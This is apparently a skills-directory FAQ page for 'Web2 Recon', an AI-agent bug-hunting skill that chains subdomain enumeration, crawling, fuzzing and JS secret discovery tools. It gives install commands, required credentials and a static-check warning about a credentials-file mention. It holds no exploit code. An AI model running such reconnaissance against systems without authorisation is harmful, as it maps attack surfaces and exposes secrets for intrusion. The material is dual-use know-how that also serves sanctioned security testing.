Hunt Auth Bypasselementalsouls/Claude-BugHunter4.8k—~8.2kAutomated safety check: PassMIT

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Works with

Categories

Questions about Web2 Recon

What does Web2 Recon do?

Web2 recon pipeline — subdomain enumeration (subfinder, Chaos API, assetfinder), live host discovery (dnsx, httpx), URL crawling (katana, waybackurls, gau), directory fuzzing (ffuf), JS analysis…. Web2 Recon is an agent skill from awarexone/Agentic-Bug-Hunter. Web2 recon pipeline — subdomain enumeration (subfinder, Chaos API, assetfinder), live host discovery (dnsx, httpx), URL crawling (katana, waybackurls, gau), directory fuzzing (ffuf), JS analysis (LinkFinder, SecretFinder), continuous monitoring (new subdomain alerts, JS change detection, GitHub commit watch).

When should I use Web2 Recon?

Web2 Recon fits situations like: starting recon on any web2 target; asked about asset discovery; attack surface mapping.

How do I install Web2 Recon in Claude Code?

Run `npx skills add awarexone/Agentic-Bug-Hunter --skill web2-recon -a claude-code`. Or copy the skill folder (skills/web2-recon in awarexone/Agentic-Bug-Hunter) into .claude/skills/web2-recon in your project. Claude Code loads it when a task matches its description.

How do I install Web2 Recon in Codex?

Run `npx skills add awarexone/Agentic-Bug-Hunter --skill web2-recon -a codex`. Or copy the skill folder (skills/web2-recon in awarexone/Agentic-Bug-Hunter) into .agents/skills/web2-recon in your project. Codex loads it when a task matches its description.

Can I use Web2 Recon in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add awarexone/Agentic-Bug-Hunter --skill web2-recon -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/web2-recon, .gemini/skills/web2-recon, .github/skills/web2-recon and .opencode/skills/web2-recon in your project.

What does Web2 Recon need to run?

Going by SKILL.md and its folder, Web2 Recon needs the command-line tools its instructions call (curl, python3, jq, git, pip and gh) and credentials named CHAOS_API_KEY, DB_PASSWORD, APP_KEY and AWS_SECRET. Our summary lists: Python 3; Node.js; A credential in CHAOS_API_KEY; A credential in YOUR_VT_KEY.

Does Web2 Recon access the network?

SKILL.md names 4 domains. In commands or code: dns.projectdiscovery.io, api.github.com, crt.sh and github.com; the agent is likely to contact these when it follows the instructions. This is read from the text; nothing was executed.

Is Web2 Recon safe to install?

Our automated static check of SKILL.md flagged 1 warning(s): mentions a credentials file (ssh keys, cloud or package-manager tokens). Read the flagged lines before installing; the check is not a guarantee either way.

What licence does Web2 Recon use?

Web2 Recon is published under the MIT licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Web2 Recon use?

About 6.4k tokens (SKILL.md is roughly 26k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.

What are the alternatives to Web2 Recon?

Skills that share tags, products or a category with Web2 Recon: Cybersecurity (AgriciDaniel/claude-cybersecurity, 227 stars), Clusterfuzzlite (InternationalColorConsortium/iccDEV, 183 stars), Audit Context Building (trailofbits/skills, 7.4k stars) and Recon Osint (hypnguyen1209/offensive-claude, 386 stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Web2 Recon?

awarexone (a GitHub organization) maintains it in awarexone/Agentic-Bug-Hunter, which has 5,296 GitHub stars. The repository holds 10 skills in this directory. The repository was last updated on October 5, 2026.

Source: awarexone/Agentic-Bug-Hunter on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.